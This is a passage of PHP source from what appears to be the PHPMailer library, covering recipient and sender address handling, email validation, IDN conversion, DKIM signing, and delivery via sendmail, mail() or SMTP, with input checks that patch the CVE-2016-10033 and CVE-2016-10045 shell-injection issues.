        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
